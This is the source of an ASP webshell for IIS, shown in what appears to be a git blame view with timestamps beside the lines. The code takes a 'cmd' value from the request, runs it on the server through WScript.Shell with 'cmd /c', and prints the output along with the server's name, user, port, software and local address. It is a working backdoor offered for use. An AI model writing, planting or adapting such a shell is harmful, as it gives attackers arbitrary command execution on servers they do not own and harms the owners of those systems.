2016-05-14 09:32:00 +00:00
|
|
|
<!--
|
|
|
|
|
ASP Webshell
|
|
|
|
|
Working on latest IIS
|
|
|
|
|
Referance :-
|
|
|
|
|
https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.asp
|
|
|
|
|
http://stackoverflow.com/questions/11501044/i-need-execute-a-command-line-in-a-visual-basic-script
|
|
|
|
|
http://www.w3schools.com/asp/
|
|
|
|
|
-->
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<%
|
|
|
|
|
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
|
|
|
|
|
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
|
|
|
|
|
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
|
|
|
|
|
Function getCommandOutput(theCommand)
|
|
|
|
|
Dim objShell, objCmdExec
|
|
|
|
|
Set objShell = CreateObject("WScript.Shell")
|
|
|
|
|
Set objCmdExec = objshell.exec(thecommand)
|
|
|
|
|
getCommandOutput = objCmdExec.StdOut.ReadAll
|
|
|
|
|
end Function
|
|
|
|
|
%>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<HTML>
|
|
|
|
|
<BODY>
|
|
|
|
|
<FORM action="" method="GET">
|
|
|
|
|
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
|
|
|
|
|
<input type="submit" value="Run">
|
|
|
|
|
</FORM>
|
|
|
|
|
<PRE>
|
|
|
|
|
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
|
|
|
|
|
<%Response.Write(Request.ServerVariables("server_name"))%>
|
|
|
|
|
<p>
|
|
|
|
|
<b>The server's port:</b>
|
|
|
|
|
<%Response.Write(Request.ServerVariables("server_port"))%>
|
|
|
|
|
</p>
|
|
|
|
|
<p>
|
|
|
|
|
<b>The server's software:</b>
|
|
|
|
|
<%Response.Write(Request.ServerVariables("server_software"))%>
|
|
|
|
|
</p>
|
|
|
|
|
<p>
|
2020-10-13 12:46:48 +00:00
|
|
|
<b>The server's local address:</b>
|
2016-05-14 09:32:00 +00:00
|
|
|
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
|
|
|
|
|
<% szCMD = request("cmd")
|
|
|
|
|
thisDir = getCommandOutput("cmd /c" & szCMD)
|
|
|
|
|
Response.Write(thisDir)%>
|
|
|
|
|
</p>
|
|
|
|
|
<br>
|
|
|
|
|
</BODY>
|
|
|
|
|
</HTML>
|
